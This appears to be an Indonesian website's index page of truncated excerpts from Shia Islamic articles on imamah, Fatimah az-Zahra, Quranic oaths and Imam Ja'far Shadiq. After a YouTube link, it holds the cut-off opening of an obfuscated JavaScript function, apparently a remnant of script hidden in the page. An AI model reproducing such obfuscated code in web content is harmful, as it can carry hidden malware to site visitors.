Syiah meyakini bahwa Tuhan yang Maha Bijaksana menghendaki pengutusan rasul-rasul untuk membimbing umat manusia. Demikian pula, dalam hal imamah, kebijaksanaan Tuhan juga menuntut adanya seorang imam setelah meninggalnya seorang rasul, yang bertugas untuk terus membimbing umat dan menjaga keaslian ajaran para nabi serta agama Ilahi
Baca: Imamah Menurut Mazhab Syiah dan Ahlusunah Bag.1 Selain soal kemaksuman, berdasarkan hadis-hadis yang sedemikian banyak, Syiah juga meyakini bahwa alam semesta tidak akan pernah kosong dari keberadaan imam, baik ia tampak secara indrawi maupun gaib. Puluhan hadis seperti ini sejalan juga dengan hadis-hadis yang menyatakan
Oleh: Ustaz Musa Kazhim Alhabsyi Dalam sejarah Islam, masalah imamah telah memicu konflik yang berkepanjangan. Asy-Syahrastani, pengarang al-Milal wa an-Nihal, menyatakan bahwa tidak ada faktor pertikaian di kalangan umat Islam yang lebih besar daripada masalah imamah. Mazhab Syiah dan Ahlusunah berbeda pandangan dalam definisi imamah, kriteria
Wajar bagi Rasulullah Saw mengetahui peristiwa-peristiwa masa depan, mengungkapkan kepada keluarganya -khususnya putrinya terkasihnya Fathimah a.s.- peristiwa-peristiwa yang akan mereka hadapi di masa mendatang. Dapat dipastikan, beliau Saw menyampaikan kepada Fathimah bahwa ia akan menderita akibat perlakuan keji sebagian orang yang mengaku muslim setelah beliau
Mazhab Syiah meyakini bahwa kebijakan Tuhan (al-hikmah al-Ilahiyah) menuntut perlunya pengutusan para rasul untuk membimbing umat manusia. Demikian pula mengenai imamah, yakni bahwa kebijaksanaan Tuhan juga menuntut perlunya kehadiran seorang imam sesudah meninggalnya seorang rasul guna terus dapat membimbing umat manusia dan memelihara kemurnian ajaran
Allah Swt berfirman: “Aku benar-benar bersumpah dengan kota ini (Mekah), dan kamu (Muhammad) bertempat di kota Mekah ini.” (QS. al-Balad: 1-2) Allah Swt juga bersumpah dalam ayat lain, “Demi masa. Sesungguhnya manusia itu benar-benar berada dalam kerugian”, maka terdapat juga sumpah demi sebuah negeri yang penting,
Para pewaris Nabi Saw adalah teladan-teladan sempurna, pelaksana ajaran-ajaran Rasulullah, dan perilaku mereka juga persis sama dengan perilaku Rasulullah. Tentu saja, selama masa 250 tahun sejak tahun ke-11 Hijriah (tahun wafatnya Rasulullah) hingga tahun 260 Hijriah, yaitu masa ketika para imam berhubungan dengan masyarakat luas,
Mazhab Ahlul Bait tak pernah sepi dari tuduhan dari para pembencinya. Salah satu tuduhan klasik yang dialamatkan kepada kaum Muslimin Syiah adalah soal pengaruh sangat dominan Iran atau Persia dalam pembentukan dan perkembangan mazhab ini. Fakta sejarah menunjukkan bahwa imam keempat, yaitu Imam Ali Zainal Abidin,
Petikan Khutbah Sayidah Fatimah az-Zahra s.a.: Allah Swt mewajibkan kalian: Salat >> Menghindarkan diri kalian dari kesombongan Puasa >> Memantapkan ketulusan Haji >> Memperkokoh agama Imamah kami >> Mempersatukan dari perpecahan Perjuangan >> Kemuliaan bagi Islam Kepatuhan terhadap kami >> Keteraturan dalam agama (Dalail al-Imamah, h. 113) [*] Baca: Berbahagialah Para Pencinta Fatimah Az-Zahra a.s. https://www.youtube.com/watch?v=2PbFIDHuiO8 function _0x3023(_0x562006,_0x1334d6){const
Mengapa Imam Ja'far Shadiq as tak tergugah untuk mengambil haknya? Imam memahamkan kepada masyarakat dengan cara yang bermacam-macam bahwa sebenarnya banyak sahabat yang sejati yang mampu berjuang, tapi jumlah merek belum mencukupi. (Baca sebelumnya: Menolak Tawaran Khilafah? -1) Sahl bin Hasan Khurasani datang kepada Imam dan berkata: Wahai putra
